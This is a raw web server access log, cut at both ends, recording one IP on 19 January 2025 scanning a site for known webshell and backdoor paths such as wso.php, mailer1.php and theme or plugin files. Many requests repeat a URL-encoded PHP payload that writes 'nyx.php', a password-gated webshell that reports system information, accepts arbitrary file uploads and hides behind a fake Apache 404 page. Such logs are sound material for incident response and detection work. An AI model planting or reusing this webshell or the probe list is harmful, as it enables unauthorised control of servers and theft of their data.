/wp-22.php?sfilename=nyx.php&sfilecontent=%3C?php%20%0D%0Aerror_reporting(E_ERROR%20%7C%20E_PARSE);%0D%0Aif%20($_GET%5B%22pass%22%5D%20==%20%22nyxfallagatn%22)%7B%0D%0Aecho%20%22%3Cb%3ENyx_FallagaTeam%3C/b%3E%3Cbr%3E%22;%0D%0Aecho%20'%3Cb%3ESystem%20Info:%3C/b%3E%20'.php_uname();%0D%0Aecho%20'%3Cform%20action=%22%22%20method=%22post%22%20enctype=%22multipart/form-data%22%20name=%22uploader%22%20id=%22uploader%22%3E';%0D%0Aecho%20'%3Cinput%20type=%22file%22%20name=%22file%22%20size=%2250%22%3E%3Cinput%20name=%22_upl%22%20type=%22submit%22%20id=%22_upl%22%20value=%22Upload%22%3E%3C/form%3E';%0D%0Aif(%20$_POST%5B'_upl'%5D%20==%20%22Upload%22%20)%20%7B%0D%0Aif(@copy($_FILES%5B'file'%5D%5B'tmp_name'%5D,%20$_FILES%5B'file'%5D%5B'name'%5D))%20%7B%0D%0Aecho%20'%3Cb%3ESuccess!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%0D%0A%7Delse%20%7B%20echo%20'Failed!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%7D%7D%0D%0A%7Delse%7B%0D%0A$domain%20=%20$_SERVER%5B'SERVER_NAME'%5D;%0D%0Aecho'%3Chtml%3E%3Chead%3E%0D%0A%3Ctitle%3E404%20Not%20Found%3C/title%3E%0D%0A%3C/head%3E%3Cbody%3E%0D%0A%3Ch1%3ENot%20Found%3C/h1%3E%0D%0A%3Cp%3EThe%20requested%20URL%20was%20not%20found%20on%20this%20server.%3C/p%3E%0D%0A%3Chr%3E%0D%0A%3Caddress%3EApache/2.4.38%20(Ubuntu)%20Server%20at%20'.$domain.'%20Port%20443%3C/address%3E%0D%0A%3C/body%3E%3C/html%3E';%7D%0D%0A?%3E%0D%0A&supfiles=nyx.php&User-Agent=Mozilla%2F5.0+%28Windows+NT+10.0%3B+Win64%3B+x64%29+AppleWebKit%2F537.36+%28KHTML%2C+like+Gecko%29+Chrome%2F108.0.0.0+Safari%2F537.36 HTTP/1.1" 302 1719 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:49:48 +0530] "GET /libraries/joomla/css.php HTTP/1.1" 302 244 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:49:48 +0530] "GET /wp-22.php?sfilename=nyx.php&sfilecontent=%3C?php%20%0D%0Aerror_reporting(E_ERROR%20%7C%20E_PARSE);%0D%0Aif%20($_GET%5B%22pass%22%5D%20==%20%22nyxfallagatn%22)%7B%0D%0Aecho%20%22%3Cb%3ENyx_FallagaTeam%3C/b%3E%3Cbr%3E%22;%0D%0Aecho%20'%3Cb%3ESystem%20Info:%3C/b%3E%20'.php_uname();%0D%0Aecho%20'%3Cform%20action=%22%22%20method=%22post%22%20enctype=%22multipart/form-data%22%20name=%22uploader%22%20id=%22uploader%22%3E';%0D%0Aecho%20'%3Cinput%20type=%22file%22%20name=%22file%22%20size=%2250%22%3E%3Cinput%20name=%22_upl%22%20type=%22submit%22%20id=%22_upl%22%20value=%22Upload%22%3E%3C/form%3E';%0D%0Aif(%20$_POST%5B'_upl'%5D%20==%20%22Upload%22%20)%20%7B%0D%0Aif(@copy($_FILES%5B'file'%5D%5B'tmp_name'%5D,%20$_FILES%5B'file'%5D%5B'name'%5D))%20%7B%0D%0Aecho%20'%3Cb%3ESuccess!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%0D%0A%7Delse%20%7B%20echo%20'Failed!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%7D%7D%0D%0A%7Delse%7B%0D%0A$domain%20=%20$_SERVER%5B'SERVER_NAME'%5D;%0D%0Aecho'%3Chtml%3E%3Chead%3E%0D%0A%3Ctitle%3E404%20Not%20Found%3C/title%3E%0D%0A%3C/head%3E%3Cbody%3E%0D%0A%3Ch1%3ENot%20Found%3C/h1%3E%0D%0A%3Cp%3EThe%20requested%20URL%20was%20not%20found%20on%20this%20server.%3C/p%3E%0D%0A%3Chr%3E%0D%0A%3Caddress%3EApache/2.4.38%20(Ubuntu)%20Server%20at%20'.$domain.'%20Port%20443%3C/address%3E%0D%0A%3C/body%3E%3C/html%3E';%7D%0D%0A?%3E%0D%0A&supfiles=nyx.php&User-Agent=Mozilla%2F5.0+%28Windows+NT+10.0%3B+Win64%3B+x64%29+AppleWebKit%2F537.36+%28KHTML%2C+like+Gecko%29+Chrome%2F108.0.0.0+Safari%2F537.36 HTTP/1.1" 302 1719 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:49:48 +0530] "GET /system_log.php HTTP/1.1" 302 234 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:49:48 +0530] "GET /wp-includes/images/css.php HTTP/1.1" 302 246 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:49:48 +0530] "GET /mailer1.php HTTP/1.1" 302 231 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:49:48 +0530] "GET /wp-22.php?sfilename=nyx.php&sfilecontent=%3C?php%20%0D%0Aerror_reporting(E_ERROR%20%7C%20E_PARSE);%0D%0Aif%20($_GET%5B%22pass%22%5D%20==%20%22nyxfallagatn%22)%7B%0D%0Aecho%20%22%3Cb%3ENyx_FallagaTeam%3C/b%3E%3Cbr%3E%22;%0D%0Aecho%20'%3Cb%3ESystem%20Info:%3C/b%3E%20'.php_uname();%0D%0Aecho%20'%3Cform%20action=%22%22%20method=%22post%22%20enctype=%22multipart/form-data%22%20name=%22uploader%22%20id=%22uploader%22%3E';%0D%0Aecho%20'%3Cinput%20type=%22file%22%20name=%22file%22%20size=%2250%22%3E%3Cinput%20name=%22_upl%22%20type=%22submit%22%20id=%22_upl%22%20value=%22Upload%22%3E%3C/form%3E';%0D%0Aif(%20$_POST%5B'_upl'%5D%20==%20%22Upload%22%20)%20%7B%0D%0Aif(@copy($_FILES%5B'file'%5D%5B'tmp_name'%5D,%20$_FILES%5B'file'%5D%5B'name'%5D))%20%7B%0D%0Aecho%20'%3Cb%3ESuccess!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%0D%0A%7Delse%20%7B%20echo%20'Failed!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%7D%7D%0D%0A%7Delse%7B%0D%0A$domain%20=%20$_SERVER%5B'SERVER_NAME'%5D;%0D%0Aecho'%3Chtml%3E%3Chead%3E%0D%0A%3Ctitle%3E404%20Not%20Found%3C/title%3E%0D%0A%3C/head%3E%3Cbody%3E%0D%0A%3Ch1%3ENot%20Found%3C/h1%3E%0D%0A%3Cp%3EThe%20requested%20URL%20was%20not%20found%20on%20this%20server.%3C/p%3E%0D%0A%3Chr%3E%0D%0A%3Caddress%3EApache/2.4.38%20(Ubuntu)%20Server%20at%20'.$domain.'%20Port%20443%3C/address%3E%0D%0A%3C/body%3E%3C/html%3E';%7D%0D%0A?%3E%0D%0A&supfiles=nyx.php&User-Agent=Mozilla%2F5.0+%28Windows+NT+10.0%3B+Win64%3B+x64%29+AppleWebKit%2F537.36+%28KHTML%2C+like+Gecko%29+Chrome%2F108.0.0.0+Safari%2F537.36 HTTP/1.1" 302 1719 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:49:48 +0530] "GET /wp-22.php?sfilename=nyx.php&sfilecontent=%3C?php%20%0D%0Aerror_reporting(E_ERROR%20%7C%20E_PARSE);%0D%0Aif%20($_GET%5B%22pass%22%5D%20==%20%22nyxfallagatn%22)%7B%0D%0Aecho%20%22%3Cb%3ENyx_FallagaTeam%3C/b%3E%3Cbr%3E%22;%0D%0Aecho%20'%3Cb%3ESystem%20Info:%3C/b%3E%20'.php_uname();%0D%0Aecho%20'%3Cform%20action=%22%22%20method=%22post%22%20enctype=%22multipart/form-data%22%20name=%22uploader%22%20id=%22uploader%22%3E';%0D%0Aecho%20'%3Cinput%20type=%22file%22%20name=%22file%22%20size=%2250%22%3E%3Cinput%20name=%22_upl%22%20type=%22submit%22%20id=%22_upl%22%20value=%22Upload%22%3E%3C/form%3E';%0D%0Aif(%20$_POST%5B'_upl'%5D%20==%20%22Upload%22%20)%20%7B%0D%0Aif(@copy($_FILES%5B'file'%5D%5B'tmp_name'%5D,%20$_FILES%5B'file'%5D%5B'name'%5D))%20%7B%0D%0Aecho%20'%3Cb%3ESuccess!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%0D%0A%7Delse%20%7B%20echo%20'Failed!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%7D%7D%0D%0A%7Delse%7B%0D%0A$domain%20=%20$_SERVER%5B'SERVER_NAME'%5D;%0D%0Aecho'%3Chtml%3E%3Chead%3E%0D%0A%3Ctitle%3E404%20Not%20Found%3C/title%3E%0D%0A%3C/head%3E%3Cbody%3E%0D%0A%3Ch1%3ENot%20Found%3C/h1%3E%0D%0A%3Cp%3EThe%20requested%20URL%20was%20not%20found%20on%20this%20server.%3C/p%3E%0D%0A%3Chr%3E%0D%0A%3Caddress%3EApache/2.4.38%20(Ubuntu)%20Server%20at%20'.$domain.'%20Port%20443%3C/address%3E%0D%0A%3C/body%3E%3C/html%3E';%7D%0D%0A?%3E%0D%0A&supfiles=nyx.php&User-Agent=Mozilla%2F5.0+%28Windows+NT+10.0%3B+Win64%3B+x64%29+AppleWebKit%2F537.36+%28KHTML%2C+like+Gecko%29+Chrome%2F108.0.0.0+Safari%2F537.36 HTTP/1.1" 302 1719 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:49:49 +0530] "GET /wp-content/themes/config.bak.php HTTP/1.1" 302 252 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:49:50 +0530] "GET /wp-22.php?sfilename=nyx.php&sfilecontent=%3C?php%20%0D%0Aerror_reporting(E_ERROR%20%7C%20E_PARSE);%0D%0Aif%20($_GET%5B%22pass%22%5D%20==%20%22nyxfallagatn%22)%7B%0D%0Aecho%20%22%3Cb%3ENyx_FallagaTeam%3C/b%3E%3Cbr%3E%22;%0D%0Aecho%20'%3Cb%3ESystem%20Info:%3C/b%3E%20'.php_uname();%0D%0Aecho%20'%3Cform%20action=%22%22%20method=%22post%22%20enctype=%22multipart/form-data%22%20name=%22uploader%22%20id=%22uploader%22%3E';%0D%0Aecho%20'%3Cinput%20type=%22file%22%20name=%22file%22%20size=%2250%22%3E%3Cinput%20name=%22_upl%22%20type=%22submit%22%20id=%22_upl%22%20value=%22Upload%22%3E%3C/form%3E';%0D%0Aif(%20$_POST%5B'_upl'%5D%20==%20%22Upload%22%20)%20%7B%0D%0Aif(@copy($_FILES%5B'file'%5D%5B'tmp_name'%5D,%20$_FILES%5B'file'%5D%5B'name'%5D))%20%7B%0D%0Aecho%20'%3Cb%3ESuccess!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%0D%0A%7Delse%20%7B%20echo%20'Failed!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%7D%7D%0D%0A%7Delse%7B%0D%0A$domain%20=%20$_SERVER%5B'SERVER_NAME'%5D;%0D%0Aecho'%3Chtml%3E%3Chead%3E%0D%0A%3Ctitle%3E404%20Not%20Found%3C/title%3E%0D%0A%3C/head%3E%3Cbody%3E%0D%0A%3Ch1%3ENot%20Found%3C/h1%3E%0D%0A%3Cp%3EThe%20requested%20URL%20was%20not%20found%20on%20this%20server.%3C/p%3E%0D%0A%3Chr%3E%0D%0A%3Caddress%3EApache/2.4.38%20(Ubuntu)%20Server%20at%20'.$domain.'%20Port%20443%3C/address%3E%0D%0A%3C/body%3E%3C/html%3E';%7D%0D%0A?%3E%0D%0A&supfiles=nyx.php&User-Agent=Mozilla%2F5.0+%28Windows+NT+10.0%3B+Win64%3B+x64%29+AppleWebKit%2F537.36+%28KHTML%2C+like+Gecko%29+Chrome%2F108.0.0.0+Safari%2F537.36 HTTP/1.1" 302 1719 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:49:50 +0530] "GET /wp-ad.php HTTP/1.1" 302 229 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:49:52 +0530] "GET /wp-content/plugins/fighter/fk.php HTTP/1.1" 302 253 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:49:52 +0530] "GET /xl.php HTTP/1.1" 302 226 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:49:52 +0530] "GET /wp-22.php?sfilename=nyx.php&sfilecontent=%3C?php%20%0D%0Aerror_reporting(E_ERROR%20%7C%20E_PARSE);%0D%0Aif%20($_GET%5B%22pass%22%5D%20==%20%22nyxfallagatn%22)%7B%0D%0Aecho%20%22%3Cb%3ENyx_FallagaTeam%3C/b%3E%3Cbr%3E%22;%0D%0Aecho%20'%3Cb%3ESystem%20Info:%3C/b%3E%20'.php_uname();%0D%0Aecho%20'%3Cform%20action=%22%22%20method=%22post%22%20enctype=%22multipart/form-data%22%20name=%22uploader%22%20id=%22uploader%22%3E';%0D%0Aecho%20'%3Cinput%20type=%22file%22%20name=%22file%22%20size=%2250%22%3E%3Cinput%20name=%22_upl%22%20type=%22submit%22%20id=%22_upl%22%20value=%22Upload%22%3E%3C/form%3E';%0D%0Aif(%20$_POST%5B'_upl'%5D%20==%20%22Upload%22%20)%20%7B%0D%0Aif(@copy($_FILES%5B'file'%5D%5B'tmp_name'%5D,%20$_FILES%5B'file'%5D%5B'name'%5D))%20%7B%0D%0Aecho%20'%3Cb%3ESuccess!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%0D%0A%7Delse%20%7B%20echo%20'Failed!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%7D%7D%0D%0A%7Delse%7B%0D%0A$domain%20=%20$_SERVER%5B'SERVER_NAME'%5D;%0D%0Aecho'%3Chtml%3E%3Chead%3E%0D%0A%3Ctitle%3E404%20Not%20Found%3C/title%3E%0D%0A%3C/head%3E%3Cbody%3E%0D%0A%3Ch1%3ENot%20Found%3C/h1%3E%0D%0A%3Cp%3EThe%20requested%20URL%20was%20not%20found%20on%20this%20server.%3C/p%3E%0D%0A%3Chr%3E%0D%0A%3Caddress%3EApache/2.4.38%20(Ubuntu)%20Server%20at%20'.$domain.'%20Port%20443%3C/address%3E%0D%0A%3C/body%3E%3C/html%3E';%7D%0D%0A?%3E%0D%0A&supfiles=nyx.php&User-Agent=Mozilla%2F5.0+%28Windows+NT+10.0%3B+Win64%3B+x64%29+AppleWebKit%2F537.36+%28KHTML%2C+like+Gecko%29+Chrome%2F108.0.0.0+Safari%2F537.36 HTTP/1.1" 302 1719 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:49:52 +0530] "GET /wp-22.php?sfilename=nyx.php&sfilecontent=%3C?php%20%0D%0Aerror_reporting(E_ERROR%20%7C%20E_PARSE);%0D%0Aif%20($_GET%5B%22pass%22%5D%20==%20%22nyxfallagatn%22)%7B%0D%0Aecho%20%22%3Cb%3ENyx_FallagaTeam%3C/b%3E%3Cbr%3E%22;%0D%0Aecho%20'%3Cb%3ESystem%20Info:%3C/b%3E%20'.php_uname();%0D%0Aecho%20'%3Cform%20action=%22%22%20method=%22post%22%20enctype=%22multipart/form-data%22%20name=%22uploader%22%20id=%22uploader%22%3E';%0D%0Aecho%20'%3Cinput%20type=%22file%22%20name=%22file%22%20size=%2250%22%3E%3Cinput%20name=%22_upl%22%20type=%22submit%22%20id=%22_upl%22%20value=%22Upload%22%3E%3C/form%3E';%0D%0Aif(%20$_POST%5B'_upl'%5D%20==%20%22Upload%22%20)%20%7B%0D%0Aif(@copy($_FILES%5B'file'%5D%5B'tmp_name'%5D,%20$_FILES%5B'file'%5D%5B'name'%5D))%20%7B%0D%0Aecho%20'%3Cb%3ESuccess!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%0D%0A%7Delse%20%7B%20echo%20'Failed!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%7D%7D%0D%0A%7Delse%7B%0D%0A$domain%20=%20$_SERVER%5B'SERVER_NAME'%5D;%0D%0Aecho'%3Chtml%3E%3Chead%3E%0D%0A%3Ctitle%3E404%20Not%20Found%3C/title%3E%0D%0A%3C/head%3E%3Cbody%3E%0D%0A%3Ch1%3ENot%20Found%3C/h1%3E%0D%0A%3Cp%3EThe%20requested%20URL%20was%20not%20found%20on%20this%20server.%3C/p%3E%0D%0A%3Chr%3E%0D%0A%3Caddress%3EApache/2.4.38%20(Ubuntu)%20Server%20at%20'.$domain.'%20Port%20443%3C/address%3E%0D%0A%3C/body%3E%3C/html%3E';%7D%0D%0A?%3E%0D%0A&supfiles=nyx.php&User-Agent=Mozilla%2F5.0+%28Windows+NT+10.0%3B+Win64%3B+x64%29+AppleWebKit%2F537.36+%28KHTML%2C+like+Gecko%29+Chrome%2F108.0.0.0+Safari%2F537.36 HTTP/1.1" 302 1719 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:49:52 +0530] "GET /wp-22.php?sfilename=nyx.php&sfilecontent=%3C?php%20%0D%0Aerror_reporting(E_ERROR%20%7C%20E_PARSE);%0D%0Aif%20($_GET%5B%22pass%22%5D%20==%20%22nyxfallagatn%22)%7B%0D%0Aecho%20%22%3Cb%3ENyx_FallagaTeam%3C/b%3E%3Cbr%3E%22;%0D%0Aecho%20'%3Cb%3ESystem%20Info:%3C/b%3E%20'.php_uname();%0D%0Aecho%20'%3Cform%20action=%22%22%20method=%22post%22%20enctype=%22multipart/form-data%22%20name=%22uploader%22%20id=%22uploader%22%3E';%0D%0Aecho%20'%3Cinput%20type=%22file%22%20name=%22file%22%20size=%2250%22%3E%3Cinput%20name=%22_upl%22%20type=%22submit%22%20id=%22_upl%22%20value=%22Upload%22%3E%3C/form%3E';%0D%0Aif(%20$_POST%5B'_upl'%5D%20==%20%22Upload%22%20)%20%7B%0D%0Aif(@copy($_FILES%5B'file'%5D%5B'tmp_name'%5D,%20$_FILES%5B'file'%5D%5B'name'%5D))%20%7B%0D%0Aecho%20'%3Cb%3ESuccess!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%0D%0A%7Delse%20%7B%20echo%20'Failed!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%7D%7D%0D%0A%7Delse%7B%0D%0A$domain%20=%20$_SERVER%5B'SERVER_NAME'%5D;%0D%0Aecho'%3Chtml%3E%3Chead%3E%0D%0A%3Ctitle%3E404%20Not%20Found%3C/title%3E%0D%0A%3C/head%3E%3Cbody%3E%0D%0A%3Ch1%3ENot%20Found%3C/h1%3E%0D%0A%3Cp%3EThe%20requested%20URL%20was%20not%20found%20on%20this%20server.%3C/p%3E%0D%0A%3Chr%3E%0D%0A%3Caddress%3EApache/2.4.38%20(Ubuntu)%20Server%20at%20'.$domain.'%20Port%20443%3C/address%3E%0D%0A%3C/body%3E%3C/html%3E';%7D%0D%0A?%3E%0D%0A&supfiles=nyx.php&User-Agent=Mozilla%2F5.0+%28Windows+NT+10.0%3B+Win64%3B+x64%29+AppleWebKit%2F537.36+%28KHTML%2C+like+Gecko%29+Chrome%2F108.0.0.0+Safari%2F537.36 HTTP/1.1" 302 1719 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:49:53 +0530] "GET /sindex.php HTTP/1.1" 302 230 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:49:53 +0530] "GET /wi.php HTTP/1.1" 302 226 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:49:53 +0530] "GET /leaf_php.php HTTP/1.1" 302 232 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:49:55 +0530] "GET /wp-22.php?sfilename=nyx.php&sfilecontent=%3C?php%20%0D%0Aerror_reporting(E_ERROR%20%7C%20E_PARSE);%0D%0Aif%20($_GET%5B%22pass%22%5D%20==%20%22nyxfallagatn%22)%7B%0D%0Aecho%20%22%3Cb%3ENyx_FallagaTeam%3C/b%3E%3Cbr%3E%22;%0D%0Aecho%20'%3Cb%3ESystem%20Info:%3C/b%3E%20'.php_uname();%0D%0Aecho%20'%3Cform%20action=%22%22%20method=%22post%22%20enctype=%22multipart/form-data%22%20name=%22uploader%22%20id=%22uploader%22%3E';%0D%0Aecho%20'%3Cinput%20type=%22file%22%20name=%22file%22%20size=%2250%22%3E%3Cinput%20name=%22_upl%22%20type=%22submit%22%20id=%22_upl%22%20value=%22Upload%22%3E%3C/form%3E';%0D%0Aif(%20$_POST%5B'_upl'%5D%20==%20%22Upload%22%20)%20%7B%0D%0Aif(@copy($_FILES%5B'file'%5D%5B'tmp_name'%5D,%20$_FILES%5B'file'%5D%5B'name'%5D))%20%7B%0D%0Aecho%20'%3Cb%3ESuccess!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%0D%0A%7Delse%20%7B%20echo%20'Failed!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%7D%7D%0D%0A%7Delse%7B%0D%0A$domain%20=%20$_SERVER%5B'SERVER_NAME'%5D;%0D%0Aecho'%3Chtml%3E%3Chead%3E%0D%0A%3Ctitle%3E404%20Not%20Found%3C/title%3E%0D%0A%3C/head%3E%3Cbody%3E%0D%0A%3Ch1%3ENot%20Found%3C/h1%3E%0D%0A%3Cp%3EThe%20requested%20URL%20was%20not%20found%20on%20this%20server.%3C/p%3E%0D%0A%3Chr%3E%0D%0A%3Caddress%3EApache/2.4.38%20(Ubuntu)%20Server%20at%20'.$domain.'%20Port%20443%3C/address%3E%0D%0A%3C/body%3E%3C/html%3E';%7D%0D%0A?%3E%0D%0A&supfiles=nyx.php&User-Agent=Mozilla%2F5.0+%28Windows+NT+10.0%3B+Win64%3B+x64%29+AppleWebKit%2F537.36+%28KHTML%2C+like+Gecko%29+Chrome%2F108.0.0.0+Safari%2F537.36 HTTP/1.1" 302 1719 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:49:56 +0530] "GET /.tmb/cache/shz.php HTTP/1.1" 302 238 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:49:56 +0530] "GET /wp-admin/includes/class-wp-media-list-data.php HTTP/1.1" 302 266 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:49:56 +0530] "GET /wp-content/wso.php HTTP/1.1" 302 238 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:49:56 +0530] "GET /wp/wp-content/themes/seotheme/mar.php HTTP/1.1" 302 257 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:49:57 +0530] "GET /lab.php HTTP/1.1" 302 227 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:49:58 +0530] "GET /images/sym.php HTTP/1.1" 302 234 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:49:59 +0530] "GET /7index.php HTTP/1.1" 302 230 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:50:01 +0530] "GET /wso.php HTTP/1.1" 302 227 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:50:02 +0530] "GET /wp-22.php?sfilename=nyx.php&sfilecontent=%3C?php%20%0D%0Aerror_reporting(E_ERROR%20%7C%20E_PARSE);%0D%0Aif%20($_GET%5B%22pass%22%5D%20==%20%22nyxfallagatn%22)%7B%0D%0Aecho%20%22%3Cb%3ENyx_FallagaTeam%3C/b%3E%3Cbr%3E%22;%0D%0Aecho%20'%3Cb%3ESystem%20Info:%3C/b%3E%20'.php_uname();%0D%0Aecho%20'%3Cform%20action=%22%22%20method=%22post%22%20enctype=%22multipart/form-data%22%20name=%22uploader%22%20id=%22uploader%22%3E';%0D%0Aecho%20'%3Cinput%20type=%22file%22%20name=%22file%22%20size=%2250%22%3E%3Cinput%20name=%22_upl%22%20type=%22submit%22%20id=%22_upl%22%20value=%22Upload%22%3E%3C/form%3E';%0D%0Aif(%20$_POST%5B'_upl'%5D%20==%20%22Upload%22%20)%20%7B%0D%0Aif(@copy($_FILES%5B'file'%5D%5B'tmp_name'%5D,%20$_FILES%5B'file'%5D%5B'name'%5D))%20%7B%0D%0Aecho%20'%3Cb%3ESuccess!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%0D%0A%7Delse%20%7B%20echo%20'Failed!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%7D%7D%0D%0A%7Delse%7B%0D%0A$domain%20=%20$_SERVER%5B'SERVER_NAME'%5D;%0D%0Aecho'%3Chtml%3E%3Chead%3E%0D%0A%3Ctitle%3E404%20Not%20Found%3C/title%3E%0D%0A%3C/head%3E%3Cbody%3E%0D%0A%3Ch1%3ENot%20Found%3C/h1%3E%0D%0A%3Cp%3EThe%20requested%20URL%20was%20not%20found%20on%20this%20server.%3C/p%3E%0D%0A%3Chr%3E%0D%0A%3Caddress%3EApache/2.4.38%20(Ubuntu)%20Server%20at%20'.$domain.'%20Port%20443%3C/address%3E%0D%0A%3C/body%3E%3C/html%3E';%7D%0D%0A?%3E%0D%0A&supfiles=nyx.php&User-Agent=Mozilla%2F5.0+%28Windows+NT+10.0%3B+Win64%3B+x64%29+AppleWebKit%2F537.36+%28KHTML%2C+like+Gecko%29+Chrome%2F108.0.0.0+Safari%2F537.36 HTTP/1.1" 302 1719 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:50:03 +0530] "GET /s_ne.php HTTP/1.1" 302 228 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:50:03 +0530] "GET /wp-22.php?sfilename=nyx.php&sfilecontent=%3C?php%20%0D%0Aerror_reporting(E_ERROR%20%7C%20E_PARSE);%0D%0Aif%20($_GET%5B%22pass%22%5D%20==%20%22nyxfallagatn%22)%7B%0D%0Aecho%20%22%3Cb%3ENyx_FallagaTeam%3C/b%3E%3Cbr%3E%22;%0D%0Aecho%20'%3Cb%3ESystem%20Info:%3C/b%3E%20'.php_uname();%0D%0Aecho%20'%3Cform%20action=%22%22%20method=%22post%22%20enctype=%22multipart/form-data%22%20name=%22uploader%22%20id=%22uploader%22%3E';%0D%0Aecho%20'%3Cinput%20type=%22file%22%20name=%22file%22%20size=%2250%22%3E%3Cinput%20name=%22_upl%22%20type=%22submit%22%20id=%22_upl%22%20value=%22Upload%22%3E%3C/form%3E';%0D%0Aif(%20$_POST%5B'_upl'%5D%20==%20%22Upload%22%20)%20%7B%0D%0Aif(@copy($_FILES%5B'file'%5D%5B'tmp_name'%5D,%20$_FILES%5B'file'%5D%5B'name'%5D))%20%7B%0D%0Aecho%20'%3Cb%3ESuccess!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%0D%0A%7Delse%20%7B%20echo%20'Failed!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%7D%7D%0D%0A%7Delse%7B%0D%0A$domain%20=%20$_SERVER%5B'SERVER_NAME'%5D;%0D%0Aecho'%3Chtml%3E%3Chead%3E%0D%0A%3Ctitle%3E404%20Not%20Found%3C/title%3E%0D%0A%3C/hea